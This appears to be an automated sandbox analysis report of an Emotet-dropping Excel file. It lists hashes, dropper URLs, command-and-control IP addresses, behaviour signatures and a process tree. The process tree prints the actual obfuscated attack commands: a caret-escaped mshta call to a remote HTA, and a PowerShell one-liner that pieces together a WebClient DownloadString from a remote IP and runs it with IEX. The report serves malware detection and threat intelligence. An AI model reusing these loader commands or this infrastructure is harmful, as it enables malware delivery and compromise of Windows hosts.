Analysis

  • max time kernel
    147s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-01-2022 01:38

General

  • Target

    KTU-010122 XSIJ-280122.xls

  • Size

    47KB

  • MD5

    f7fec4ec166a17362b23b07e1ff06a5d

  • SHA1

    2704ab7af1ec1d85771bdae6eb38ad89d65c8b4a

  • SHA256

    65ea61f3ce9199cca575bba5980ce844369c7a899ee509233bdebde2c92524c1

  • SHA512

    c761ae7777ca2357b220f50330d61168c16c5df70a80eea2b320870652ceadb357b224377c5897830f3581b2490646f47ba204f1a05464350923991aaa008740

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\KTU-010122 XSIJ-280122.xls"
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1480
    • C:\Windows\SysWOW64\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:704
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/vvv/ppp/fe.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1580
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1072
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1752
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2044
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1600
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gqrgyuyktie\nzjprn.auj",QjtZKY
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:960
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gqrgyuyktie\nzjprn.auj",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1368

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

2
T1082

Query Registry

1
T1012

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Downloads

  • C:\ProgramData\QWER.dll
    MD5

    4ee771426984b1a6b48d2522776c65a2

    SHA1

    cbb4bdf131584d811fc7464143acfb7e428fd434

    SHA256

    862b450eba791b44f14bb1a0e475bab15a418067bac695cc00244127b1cf323a

    SHA512

    2a50fa6b123d6fba794a83bd0a9697d29fed6d8365bc221e0ecbbb0d3461be899af37035cf4f510c31dd24683b3197bd255d25d5239ab6a4599c5268bc4aa356

  • \ProgramData\QWER.dll
    MD5

    4ee771426984b1a6b48d2522776c65a2

    SHA1

    cbb4bdf131584d811fc7464143acfb7e428fd434

    SHA256

    862b450eba791b44f14bb1a0e475bab15a418067bac695cc00244127b1cf323a

    SHA512

    2a50fa6b123d6fba794a83bd0a9697d29fed6d8365bc221e0ecbbb0d3461be899af37035cf4f510c31dd24683b3197bd255d25d5239ab6a4599c5268bc4aa356

  • \ProgramData\QWER.dll
    MD5

    4ee771426984b1a6b48d2522776c65a2

    SHA1

    cbb4bdf131584d811fc7464143acfb7e428fd434

    SHA256

    862b450eba791b44f14bb1a0e475bab15a418067bac695cc00244127b1cf323a

    SHA512

    2a50fa6b123d6fba794a83bd0a9697d29fed6d8365bc221e0ecbbb0d3461be899af37035cf4f510c31dd24683b3197bd255d25d5239ab6a4599c5268bc4aa356

  • \ProgramData\QWER.dll
    MD5

    4ee771426984b1a6b48d2522776c65a2

    SHA1

    cbb4bdf131584d811fc7464143acfb7e428fd434

    SHA256

    862b450eba791b44f14bb1a0e475bab15a418067bac695cc00244127b1cf323a

    SHA512

    2a50fa6b123d6fba794a83bd0a9697d29fed6d8365bc221e0ecbbb0d3461be899af37035cf4f510c31dd24683b3197bd255d25d5239ab6a4599c5268bc4aa356

  • \ProgramData\QWER.dll
    MD5

    4ee771426984b1a6b48d2522776c65a2

    SHA1

    cbb4bdf131584d811fc7464143acfb7e428fd434

    SHA256

    862b450eba791b44f14bb1a0e475bab15a418067bac695cc00244127b1cf323a

    SHA512

    2a50fa6b123d6fba794a83bd0a9697d29fed6d8365bc221e0ecbbb0d3461be899af37035cf4f510c31dd24683b3197bd255d25d5239ab6a4599c5268bc4aa356

  • \ProgramData\QWER.dll
    MD5

    4ee771426984b1a6b48d2522776c65a2

    SHA1

    cbb4bdf131584d811fc7464143acfb7e428fd434

    SHA256

    862b450eba791b44f14bb1a0e475bab15a418067bac695cc00244127b1cf323a

    SHA512

    2a50fa6b123d6fba794a83bd0a9697d29fed6d8365bc221e0ecbbb0d3461be899af37035cf4f510c31dd24683b3197bd255d25d5239ab6a4599c5268bc4aa356

  • \ProgramData\QWER.dll
    MD5

    4ee771426984b1a6b48d2522776c65a2

    SHA1

    cbb4bdf131584d811fc7464143acfb7e428fd434

    SHA256

    862b450eba791b44f14bb1a0e475bab15a418067bac695cc00244127b1cf323a

    SHA512

    2a50fa6b123d6fba794a83bd0a9697d29fed6d8365bc221e0ecbbb0d3461be899af37035cf4f510c31dd24683b3197bd255d25d5239ab6a4599c5268bc4aa356

  • \ProgramData\QWER.dll
    MD5

    4ee771426984b1a6b48d2522776c65a2

    SHA1

    cbb4bdf131584d811fc7464143acfb7e428fd434

    SHA256

    862b450eba791b44f14bb1a0e475bab15a418067bac695cc00244127b1cf323a

    SHA512

    2a50fa6b123d6fba794a83bd0a9697d29fed6d8365bc221e0ecbbb0d3461be899af37035cf4f510c31dd24683b3197bd255d25d5239ab6a4599c5268bc4aa356

  • \ProgramData\QWER.dll
    MD5

    4ee771426984b1a6b48d2522776c65a2

    SHA1

    cbb4bdf131584d811fc7464143acfb7e428fd434

    SHA256

    862b450eba791b44f14bb1a0e475bab15a418067bac695cc00244127b1cf323a

    SHA512

    2a50fa6b123d6fba794a83bd0a9697d29fed6d8365bc221e0ecbbb0d3461be899af37035cf4f510c31dd24683b3197bd255d25d5239ab6a4599c5268bc4aa356

  • memory/1072-61-0x0000000002470000-0x00000000030BA000-memory.dmp
    Filesize

    12.3MB

  • memory/1072-60-0x0000000002470000-0x00000000030BA000-memory.dmp
    Filesize

    12.3MB

  • memory/1072-62-0x0000000002470000-0x00000000030BA000-memory.dmp
    Filesize

    12.3MB

  • memory/1368-102-0x00000000024D0000-0x00000000024F5000-memory.dmp
    Filesize

    148KB

  • memory/1368-104-0x0000000002630000-0x0000000002655000-memory.dmp
    Filesize

    148KB

  • memory/1368-98-0x0000000000670000-0x0000000000695000-memory.dmp
    Filesize

    148KB

  • memory/1368-96-0x0000000000340000-0x0000000000365000-memory.dmp
    Filesize

    148KB

  • memory/1368-94-0x0000000000200000-0x0000000000225000-memory.dmp
    Filesize

    148KB

  • memory/1368-112-0x0000000002B50000-0x0000000002B75000-memory.dmp
    Filesize

    148KB

  • memory/1368-100-0x00000000023D0000-0x00000000023F5000-memory.dmp
    Filesize

    148KB

  • memory/1368-110-0x00000000029A0000-0x00000000029C5000-memory.dmp
    Filesize

    148KB

  • memory/1368-108-0x0000000002830000-0x0000000002855000-memory.dmp
    Filesize

    148KB

  • memory/1368-106-0x0000000002730000-0x0000000002755000-memory.dmp
    Filesize

    148KB

  • memory/1480-55-0x0000000071311000-0x0000000071313000-memory.dmp
    Filesize

    8KB

  • memory/1480-57-0x0000000075761000-0x0000000075763000-memory.dmp
    Filesize

    8KB

  • memory/1480-54-0x000000002F171000-0x000000002F174000-memory.dmp
    Filesize

    12KB

  • memory/1480-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1480-114-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1600-78-0x00000000004E0000-0x0000000000505000-memory.dmp
    Filesize

    148KB

  • memory/1600-89-0x0000000002740000-0x0000000002765000-memory.dmp
    Filesize

    148KB

  • memory/1600-86-0x00000000026A0000-0x00000000026C5000-memory.dmp
    Filesize

    148KB

  • memory/1600-84-0x00000000025A0000-0x00000000025C5000-memory.dmp
    Filesize

    148KB

  • memory/1600-82-0x00000000024A0000-0x00000000024C5000-memory.dmp
    Filesize

    148KB

  • memory/1600-80-0x0000000000680000-0x00000000006A5000-memory.dmp
    Filesize

    148KB

  • memory/1600-76-0x0000000000210000-0x0000000000235000-memory.dmp
    Filesize

    148KB

  • memory/2044-69-0x00000000001A0000-0x00000000001C5000-memory.dmp
    Filesize

    148KB